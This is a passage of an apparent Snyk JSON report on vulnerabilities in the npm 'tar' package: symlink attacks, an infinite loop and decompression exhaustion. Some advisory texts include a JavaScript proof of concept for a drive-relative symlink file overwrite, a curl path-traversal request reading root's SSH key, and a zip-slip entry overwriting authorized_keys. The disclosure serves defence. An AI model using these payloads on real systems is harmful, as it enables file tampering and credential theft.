[ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory 